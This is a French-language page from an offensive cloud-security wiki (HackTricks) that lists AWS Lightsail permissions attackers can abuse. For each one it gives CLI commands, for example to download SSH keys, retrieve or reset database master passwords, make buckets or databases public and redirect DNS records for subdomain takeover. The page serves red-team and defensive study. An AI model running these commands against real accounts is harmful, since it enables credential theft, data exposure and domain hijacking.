AWS - Lightsail Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Lightsail
Pour plus d'informations sur Lightsail, consultez :
warning
Il est important de noter que Lightsail n'utilise pas les IAM roles appartenant à l'utilisateur mais un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des données sensibles telles que du code, des API keys et des informations de base de données peuvent être trouvées dans ce service.
lightsail:DownloadDefaultKeyPair
Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :
aws lightsail download-default-key-pair
Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.
lightsail:GetInstanceAccessDetails
Cette permission vous permettra de générer des clés SSH pour accéder aux instances :
aws lightsail get-instance-access-details --instance-name <instance_name>
Potential Impact: Trouver des informations sensibles dans les instances.
lightsail:CreateBucketAccessKey
Cette permission vous permettra d'obtenir une clé pour accéder au bucket :
aws lightsail create-bucket-access-key --bucket-name <name>
Impact potentiel : Trouver des informations sensibles dans le bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Cette permission vous permettra d'obtenir les identifiants pour accéder à la base de données :
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Impact potentiel : Trouver des informations sensibles dans la base de données.
lightsail:UpdateRelationalDatabase
Cette permission vous permettra de changer le mot de passe d'accès à la base de données :
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Si la base de données n'est pas publique, vous pouvez aussi la rendre publique avec ces permissions.
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Impact potentiel : Trouver des informations sensibles dans la base de données.
lightsail:OpenInstancePublicPorts
Cette permission permet d'ouvrir des ports sur Internet
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Impact potentiel : Accéder à des ports sensibles.
lightsail:PutInstancePublicPorts
Cette permission permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Potential Impact: Accès aux ports sensibles.
lightsail:SetResourceAccessForBucket
Cette permission permet de donner à des instances l'accès à un bucket sans credentials supplémentaires.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Impact potentiel : Nouvel accès possible à des buckets contenant des informations sensibles.
lightsail:UpdateBucket
Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture aux buckets ou même rendre les buckets publics pour tout le monde :
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Impact potentiel : Accès potentiel à de nouveaux buckets contenant des informations sensibles.
lightsail:UpdateContainerService
Avec cette permission, un attaquant pourrait accorder l'accès à des ECR privés depuis le service containers.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Impact potentiel : Obtenir des informations sensibles depuis un ECR privé
lightsail:CreateDomainEntry
Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof des e-mails depuis le domaine, ou même pointer le domaine principal vers sa propre adresse IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impact potentiel : Prise de contrôle d'un domaine
lightsail:UpdateDomainEntry
Un attaquant disposant de cette permission pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (subdomain takeover), ou créer un enregistrement SPF qui lui permet de spoof emails depuis le domaine, voire configurer le domaine principal pour qu'il pointe vers sa propre adresse IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impact potentiel : Prise de contrôle d'un domaine
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud